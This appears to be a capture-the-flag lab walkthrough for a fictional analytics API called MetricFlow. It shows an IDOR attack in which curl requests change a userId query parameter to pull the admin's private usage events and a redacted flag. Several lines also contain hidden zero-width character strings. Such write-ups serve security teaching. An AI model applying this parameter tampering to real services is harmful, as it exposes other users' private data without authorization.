Lab 112 — MetricFlow — IDOR in Usage Analytics API

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: idor_exploitation, javascript_source_analysis, parameter_tampering, user_id_enumeration

Summary

Walkthrough of the CUSTOM Web Lab 112 — MetricFlow — IDOR in Usage Analytics API. Task: MetricFlow analytics API accepts userId as query parameter without authorization checks. Solution: enumerate user IDs from team page, change userId from 2 to 1 in API request to access admin's p

Description

MetricFlow is a team analytics platform by FlowSoft Inc. that provides usage insights, activity tracking, and reporting for development teams. Each team member has a personal dashboard showing their usage metrics, and administrators can view aggregated team reports. The platform features team management, individual analytics views, usage event history, aggregated reports, and account settings. Members can track their queries, completions, deployments, and other usage events across different AI models. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: MetricFlow is a team analytics platform where each user has personal usage metrics. The goal is to exploit a vulnerability to access the admin's private usage records containing sensitive information.

Summary

The challenge demonstrates a classic IDOR (Insecure Direct Object Reference) vulnerability in an analytics API. The /api/analytics/usage-events endpoint accepts a userId parameter directly in the query string without verifying that the authenticated user is authorized to access that user's data. By changing the userId from 2 (current user) to 1 (admin), the attacker can retrieve the admin's private usage events, which include an internal audit record containing the flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Recon

Login with provided credentials:

 http read-only • copy allowed Copy
POST /login
Content-Type: application/x-www-form-urlencoded

email=user%40test.com&password=password123

The authenticated session revealed:

• Current user: Sarah Miller (User ID #2, role: developer)
• Email: user@test.com

The /team page exposed all team members and their IDs:

• Marcus Chen (User ID #1, admin@flowsoft.com, role: admin)
• Sarah Miller (User ID #2, user@test.com, role: developer)

API Discovery

The analytics page at /analytics contained a revealing HTML attribute: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 html read-only • copy allowed Copy
<div data-user-id="2">

Examining /js/analytics.js revealed the API endpoint structure:

 javascript read-only • copy allowed Copy
const url = `/api/analytics/usage-events?userId=${userId}&page=${page}&limit=${LIMIT}&eventType=${eventType}`;

This showed that the userId parameter is passed directly in the query string, making it trivially modifiable.

Exploitation

The API endpoint does not verify that the authenticated user is authorized to access the requested userId's data. It blindly returns data for whatever userId is provided. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Normal request (own data):

 bash read-only • copy allowed Copy
curl -s -b cookies.txt "https://[target]/api/analytics/usage-events?userId=2&page=1&limit=50&eventType=all"

IDOR exploitation (admin's data):

 bash read-only • copy allowed Copy
curl -s -b cookies.txt "https://[target]/api/analytics/usage-events?userId=1&page=1&limit=50&eventType=all"

The response included the admin's private usage events, including an internal_audit event (ID: 137):

 json read-only • copy allowed Copy
{
  "id": 137,
  "user_id": 1,
  "event_type": "internal_audit",
  "model_name": "system",
  "details": "Quarterly security audit completed. Master compliance key: FLAG{REDACTED}",
  "status": "completed"
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering idor_exploitation, javascript_source_analysis, parameter_tampering, user_id_enumeration was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-26 • CUSTOM • Lab 112 — MetricFlow — IDOR in Usage Analytics API • Difficulty: Easy